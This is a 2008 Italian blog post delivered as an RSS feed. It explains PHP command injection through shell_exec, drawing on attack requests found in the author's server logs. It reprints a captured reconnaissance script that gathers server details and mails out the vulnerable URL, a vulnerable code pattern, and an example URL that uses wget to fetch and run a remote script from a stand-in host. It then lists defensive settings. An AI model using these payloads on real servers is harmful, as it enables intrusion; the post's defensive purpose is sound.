<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Entula.net - Venticello di rete &#187; php</title>
	<atom:link href="http://www.entula.net/category/informatica/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.entula.net</link>
	<description>Venticello di rete... Idee e pensieri che si spostano spinti da una leggera brezza…</description>
	<lastBuildDate>Thu, 25 Feb 2010 13:40:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>PhP exploit, occhio a quell&#8217;exec!</title>
		<link>http://www.entula.net/2008/01/14/php-exploit-occhio-a-quellexec/</link>
		<comments>http://www.entula.net/2008/01/14/php-exploit-occhio-a-quellexec/#comments</comments>
		<pubDate>Mon, 14 Jan 2008 11:55:27 +0000</pubDate>
		<dc:creator>miasma</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[plugs]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[explot]]></category>

		<guid isPermaLink="false">http://www.no-net.org/index.php/archives/46</guid>
		<description><![CDATA[E&#39; da un po che noto nei log degli accessi al mio blog delle richieste molto simili, ecco un esempio:

&#60;/p&#62;&#60;p&#62;/test.php?page=http://rootscan.110mb.com/rootlab.jpg?: 1 Time(s)&#60;br /&#62;/pagina.php?doc=http://www.usipime.com/adpics/response???: 2 Time(s)&#60;/p&#62;&#60;p&#62;
&#160;
Incuriosito visito gli indirizzi ed ecco cosa spuntano fuori diversi tipi di script in bash o php, qualcosa tipo:    
&#160;

&#38;nbsp;&#60;/p&#62;&#60;div align=&#34;left&#34;&#62;&#38;lt;?echo &#38;quot;ALBANIA&#38;lt;br&#38;gt;&#38;quot;;$alb = @php_uname();&#60;br /&#62;$alb2 = system(uptime);&#60;br /&#62;$alb3 [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>E&#39; da un po che noto nei log degli accessi al mio blog delle richieste molto simili, ecco un esempio:</p>
<p>
<pre class="brush: php">&lt;/p&gt;&lt;p&gt;/test.php?page=http://rootscan.110mb.com/rootlab.jpg?: 1 Time(s)&lt;br /&gt;/pagina.php?doc=http://www.usipime.com/adpics/response???: 2 Time(s)&lt;/p&gt;&lt;p&gt;</pre>
<p>&nbsp;</p>
<p>Incuriosito visito gli indirizzi ed ecco cosa spuntano fuori diversi tipi di script in bash o php, qualcosa tipo: <br /> <span id="more-46"></span>  </p>
<p>&nbsp;</p>
<p>
<pre class="brush: php">&amp;nbsp;&lt;/p&gt;&lt;div align=&quot;left&quot;&gt;&amp;lt;?echo &amp;quot;ALBANIA&amp;lt;br&amp;gt;&amp;quot;;$alb = @php_uname();&lt;br /&gt;$alb2 = system(uptime);&lt;br /&gt;$alb3 = system(id);&lt;br /&gt;$alb4 = @getcwd();&lt;br /&gt;$alb5 = getenv(&amp;quot;SERVER_SOFTWARE&amp;quot;);&lt;br /&gt;$alb6 = phpversion();&lt;br /&gt;$alb7 = $_SERVER[&amp;#39;SERVER_NAME&amp;#39;];&lt;br /&gt;$alb8 = gethostbyname($SERVER_ADDR);&lt;br /&gt;$alb9 = get_current_user();&lt;br /&gt;$os = @PHP_OS;&lt;br /&gt;echo &amp;quot;os: $os&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;uname -a: $alb&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;uptime: $alb2&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;id: $alb3&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;pwd: $alb4&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;user: $alb9&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;phpv: $alb6&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;SoftWare: $alb5&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;ServerName: $alb7&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;ServerAddr: $alb8&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;echo &amp;quot;PADDY&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;$to = &amp;quot;XXXXXXX@XXXXX.XXX&amp;quot;;$msg = &amp;quot;http://&amp;quot;.$_SERVER[&amp;#39;SERVER_NAME&amp;#39;].$_SERVER[&amp;#39;REQUEST_URI&amp;#39;];mail($to,&amp;quot;Site Vuln&amp;quot;,$msg);exit;?&amp;gt;&lt;/div&gt;&lt;p&gt;</pre>
</p>
<p>Ma che bug sfrutterebbe ? Cioe come viene eseguito sto simpatico script ? Php e&#39; cosi buggoso ?&nbsp; Vediamo un po&#8230;</p>
<p>Immaginiamo di avere tra le rige dei nostri script PHP qualcosa di questo tipo:</p>
<p>
<pre class="brush: php">&lt;/p&gt;&amp;lt;? php&lt;br /&gt;...&lt;br /&gt;$par=$_GET[&amp;#39;var1&amp;#39;];&lt;br /&gt;...&lt;br /&gt;shell_exec(&amp;quot;$cmd $par&amp;quot;);&lt;br /&gt;...?&amp;gt;&lt;p&gt;</pre>
</p>
<p>Normalmente utilizzeremmo lo script usando il comodo url: http://sito.bla.bla/script.php?var1=parametro</p>
<p>Ma, cosa succede se eseguiamo qualcosa di questo tipo?</p>
<p>
<pre class="brush: php">&lt;/p&gt;&lt;p&gt;&amp;quot;http://sito.bla.bla/script.php?var1=parametro;cd%20/tmp;&lt;/p&gt;&lt;p&gt;wget%20http://server.bla.bla/script_cattivello.sh;&lt;/p&gt;&lt;p&gt;chmod%20755%20script_cattivello.sh;./script_cattivello.sh&amp;quot;&lt;/p&gt;&lt;p&gt;(l&amp;#39;url va scritto tutto su 1 riga)&amp;nbsp;&lt;/p&gt;&lt;p&gt;</pre>
</p>
<p>La risposta viene spontanea, var1 prende il valore del parametro assegnato, ma subito dopo viene eseguito un cambio directory in tmp, viene scaricato uno script ad hoc ( script_cattivello.sh ), viene impostato come eseguibile ed infine eseguito.</p>
<p>Ovviamente il file sara&#39; di proprieta&#39; dell&#39;utente www o www-data, insomma dell&#39;utente che esegue apache ( o altro eventuale webserver), ma, almeno in questa fase, tali permessi sono piu che abbastanza per ficcare il naso dove non si deve!</p>
<p>Cosa si puo fare per evitare che questo accada ?&nbsp;</p>
<p>Evitare l&#39;utilizzo di certe funzioni, tipo shell_exec;</p>
<p>Impostare php.ini alcuni limiti, anche se queste limitazioni bloccano alcune funzioni della maggior parte dei cms come joomla , wordpress, horde etc&#8230; </p>
<p>
<pre class="brush: php">&amp;nbsp;&lt;/p&gt;&lt;p&gt;disable_functions = show_source, exec, shell_exec, system, popen, proc_open, proc_nice, ini_restore, passthru,dl&lt;/p&gt;&lt;p&gt;</pre>
<p>&nbsp;</p>
<p>Controllare sempre la lungezza dei parametri in ingresso nei nostri script, mai lasciare un get($var) senza un limite di dimensione. </p>
<p><u>Questa e&#39; una regola di buona scrittura per qualsiasi applicazione e valida per qualsiasi linguaggio. </u><u>E&#39; il miglior modo per evitare problemi, bug, errori.</u>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://www.entula.net/2008/01/14/php-exploit-occhio-a-quellexec/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
